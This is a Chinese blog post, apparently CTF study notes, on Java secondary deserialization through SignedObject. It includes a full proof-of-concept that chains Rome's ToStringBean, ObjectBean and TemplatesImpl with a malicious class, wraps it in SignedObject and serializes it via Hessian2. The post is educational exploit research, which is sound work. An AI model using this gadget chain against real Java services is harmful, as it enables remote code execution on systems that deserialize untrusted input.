都说二次反序列化很神秘,那我们来看看吧

前情提要

这里有几条自己还没跟过的链子,maybe有点生疏,是在一条CTF题里见到的.
二次反序列化一般来说有如下几个常用的利用类

  1. SignedObject
  2. RMIConnector
  3. WrapperConnectionPoolDataSource

先看 SignedObject

这是一个存在于jdk中的类,而且用起来很爽!
看看构成

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()  
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

接收类中的content属性,然后将其在反序列化再看看构造方法,content属性可控,那么只需要触发它的getObject方法即可完成二次反序列化了~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public SignedObject(Serializable object, PrivateKey signingKey,  
Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);

// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();

// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}

初看就是触发getter方法嘛,刚好无参又不是静态,但是不满足继承的条件,因此那个快json肯定是不行回看需要满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
    fastJson肯定不通了,那我们看看另外一个Rome

toStringBean

直接用它来调用SignedObject中的getObject方法,然后实现任意content字节码的传入,这样就可自动的实现所谓的二次反序列化了咯~

1
2
3
4
SignedObject#getObject()
ToStringBean#toString(String)
ToStringBean#toString()
BadAttributeValueExpException#readObject()

结合一下rome链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package me.eviden.test;  

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import me.eviden.util.util;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class ss2 {
public static void main(String[] args) throws Exception {
// 将恶意类的字节码文件存入字节数组,该恶意类必须继承 AbstractTranslet byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\Main-Sec\\JavaSec\\code\\TwoSer\\Rome\\target\\classes\\me\\eviden\\payload\\EvilCalc.class"));
// 新建利用链 TemplatesImpl 对象
TemplatesImpl templatesImpl = new TemplatesImpl();
util.setField(templatesImpl, "_name", "aaa");
util.setField(templatesImpl,"_bytecodes",new byte[][] {bytecodes});
util.setField(templatesImpl,"_tfactory",new TransformerFactoryImpl());
// 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法
ToStringBean toStringBean1 = new ToStringBean(Templates.class,templatesImpl);

// 利用 EqualsBean 的 beanHashCode() 方法调用 ToStringBean 的 toString() 方法
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);

// 利用 ObjectBean 的 hashCode() 方法调用 EqualsBean 的 beanHashCode() 方法
// 为防止调用 put 方法时命令执行,先传入一个普通的 ObjectBean HashMap hashMap0 = new HashMap();
ObjectBean objectBean1 = new ObjectBean(HashMap.class, hashMap0);

// HashMap 的 hash() 方法会调用 key 的 hashCode() 方法,readObject() 方法会调用 hash() 方法
HashMap evilMap = new HashMap();
evilMap.put(objectBean1, "test");

// 反射修改 ObjectBean 的属性值
util.setField(objectBean1, "_equalsBean", equalsBean1);

// 生成密钥对 (RSA) KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance("SHA256withRSA");

SignedObject signedObject = new SignedObject(evilMap, privateKey, signature);

// 创建toStringBean对象
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);

// 创建ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// 创建HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(objectBean, "aaaa");

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(hashMap);
hessian2Output.close();
System.out.println(util.encodeBytesToBase64(baos.toByteArray()));
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(bais);
HashMap o = (HashMap) hessian2Input.readObject();

}
}

未完待续~